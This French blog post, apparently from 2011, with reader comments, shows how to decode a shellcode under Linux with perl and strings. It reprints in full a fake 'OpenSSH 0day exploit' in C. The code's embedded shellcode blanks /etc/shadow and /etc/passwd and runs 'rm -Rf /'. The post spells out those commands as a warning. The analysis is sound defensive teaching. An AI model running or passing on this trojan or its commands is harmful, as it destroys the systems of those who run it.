Comment décoder ou desassembler un shellcode sous Linux


Binary
Un shellcode est une chaîne de caractères que l'on injecte en mémoire, afin d'exécuter du code en dehors de l'espace normalement alloué. Cette technique est utilisée dans le monde du piratage informatique, car elle permet aux personnes malveillantes de lancer des actions sur des machines, après avoir trouvé une faille de sécurité (de type Buffer Overflow).

Sur Internet, on tombe parfois sur des hackers qui se vantent d'avoir trouvé une faille de sécurité dans un logiciel et propose d'utiliser leur exploit. On peut prendre l'exemple de Chroniccommand, qui le 26 janvier 2011 a publié un exploit 0day pour OpenSSH :

/*
openSSH 5.7 0day exploit
Off by One error in auth2-pubkey.c
Author: Chroniccommand
Usage: ./exploit <host> <ip>
greetz to _st4ck3d*, x3n0n, xin etc you know who you are
*/
#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

void usage(char *argv[])
{
  printf("Usage: %s <target> <port>\n", argv[0]);
  exit(1);
}

unsigned char shellcode[] = 
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65"
"\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73"
"\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22"
"\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20"
"\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1"
"\xcd\x80";



int main(int argc, char *argv[])
{
  int uid = getuid();
  int port = 22, sock;
  struct hostent *host;
  struct sockaddr_in addr;

  if(uid !=0)
  {
    fprintf(stderr, "[!!]Error: You must be root\n");
    exit(1);
  }
  if(uid == 0)
  {
    printf("\t[+]Starting exploit..\n");
  }
  if(argc != 3)
       usage(argv);

  fprintf(stderr, "[!!]Exploit failed\n");
  (*(void(*)())shellcode)();
  exit(1);
  char payload[1024];
  memcpy(payload, &shellcode, sizeof(shellcode));
  if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==0)
  {
    printf("[+]Got shell\n");
    system("/bin/sh");
  }
  else if(connect(sock,(struct sockaddr*)&addr, sizeof(addr))==-1)
  {
    fprintf(stderr, "[!!]Exploit failed\n");
    exit(1);
  }
}

C'est dans ce genre de situation qu'il est intéressant de savoir comment décoder un shellcode, afin de bien comprendre les actions effectuées par le code, plutôt que de l'exécuter bêtement. Dans le cas ci-dessus, on va dans un premier temps mettre le shellcode sur une seule ligne :

"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1\xcd\x80"

Puis, on va lancer les deux commandes suivantes pour le décoder :

$ perl -e 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1\xcd\x80"' > code

$ strings code
Rfh-c
h/sh
h/bin
echo "" > /etc/shadow ; echo "" > /etc/passwd ; rm -Rf /

L'exploit de Chroniccommand est donc un fake plutôt dangereux. Si une personne s'aventure à l'exécuter, son système sera entièrement effacé par les commandes suivantes :

echo "" > /etc/shadow
echo "" > /etc/passwd
rm -Rf /

Il faut donc rester vigilant à ce que l'on trouve dans le monde de l'underground. Pour ma part, j'analyse toujours le code avant de l'exécuter dans une machine virtuelle dédiée, afin de me prémunir de tout risque.

Source


11 Commentaires pour "Comment décoder ou desassembler un shellcode sous Linux"

Flux des commentaires de cet article Ajouter un commentaire
  •  

    Super article, merci beaucoup pour ce décodage. Je ne connaissais pas cette méthode. Les autres articles concernant la sécurité sont très intéressants aussi.

    RépondreRépondre
    kir0gawa , le 29 mars 2011 à 10:33
  •  

    Plutôt vicieux comme résultat !

    RépondreRépondre
    JackDaniels93 , le 29 mars 2011 à 11:46
  •  

    Très instructif, merci.

    RépondreRépondre
    Edouard , le 29 mars 2011 à 14:56
  •  

    bon, deuxième essai de commentaire (suis-je considéré comme du SPAM?)

    Je disais: Yes \o/

    Certains faux hackers obfusquent quand même un peu mieux leurs velléités destructrices.. Ceci dit, la commande strings ou hexdump aide énormément.

    RépondreRépondre
    Kevin , le 29 mars 2011 à 15:01
  •  

    Si tu est intéressé par la rétro-ingenerie je te conseil de jeter un oeil à METASM, debugueur/déssassembleur, multi-plateforme et multi-architecture.

    Doté d'un compilateur C et d'un assembleur pour l'ASM, avec comme sortie les formats EXE, PE ou ELF.

    Le dernier Hors Serie de MISC y consacre un article de présentation plutôt pas mal.

    RépondreRépondre
    Bjnn , le 29 mars 2011 à 20:47
  •  

    Yop,

    La technique tu exposes ici est plus qu'approximative étant donné que tu ne récupère que la version textuelle du shellcode (et pas la version assembleur). Je te conseil de faire un tour du côté d'objdump et de débuggeur (gdb par exemple) qui offrent beaucoup plus de possibilté (et une bien meilleur compréhension des shellcode).

    De plus le code C que tu exposes ici n'est clairement pas celui d'un exploit, ça se voit sans regarder ce que fais le shellcode... Tu ne trouveras jamais ce genre de code dans les milieux "underground" comme tu dis :-)

    RépondreRépondre
    Jill , le 29 mars 2011 à 22:01
  •  

    @Kevin @Bjnn @Jill : personnellement, je ne récupère que les exploit au format textuelle (coude source) et jamais au format binaire. Ce qui m'évite de devoir faire de l'assembleur...

    RépondreRépondre
    pti-seb , le 29 mars 2011 à 23:30
  •  

    @Bjnn : +1

    De plus si ton gugus utilise un shellcode polymorphique tu n'y verras que du feu avec strings ^^

    Cependant je ne connaissais pas cette commande. Et elle est bien pratique pour un premier check rapide du shellcode :) donc thx pour l'astuce ;)

    RépondreRépondre
    Thireus , le 31 mars 2011 à 05:41
  •  

    perl -e 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1\xcd\x80"' | strings

    fonctionne aussi :D

    RépondreRépondre
    orion , le 1 avril 2011 à 09:26
  •  

    Ou :

    $ python -c 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1\xcd\x80"' | strings

    RépondreRépondre
    François , le 1 avril 2011 à 12:47
  •  

    ca ne marche cette méthode, j'ai testé avec des shellcode de shell-storm mais nada !

    RépondreRépondre
    alex , le 5 avril 2011 à 21:09
 

Ajouter un commentaire

actualité android apache apple astuce astuces bash bilboblog blog boot chrome clavier commande commandes conky date debian Desktop développement elementary exploit faille fedora firefox flash gimp gnome google graphique Graphisme hack hacking Hardware humour intel internet iphone jailbreak Jeux Kde kernel libre Linux log logiciels Logiciels Libres lucid lynx maemo mail maquette metasploit microsoft mobile mockup monitoring mozilla multi-touch musique mysql n900 nautilus nokia noyau openoffice open source password photos php Planet publicité redhat red hat rpm réseau screenshot script serveur serveurs shell sql ssh statistiques sysadmin system Sécurité thème tux-planet tv twitter ubuntu unity vidéo vidéos vlc voyage wallpaper windows wordpress yum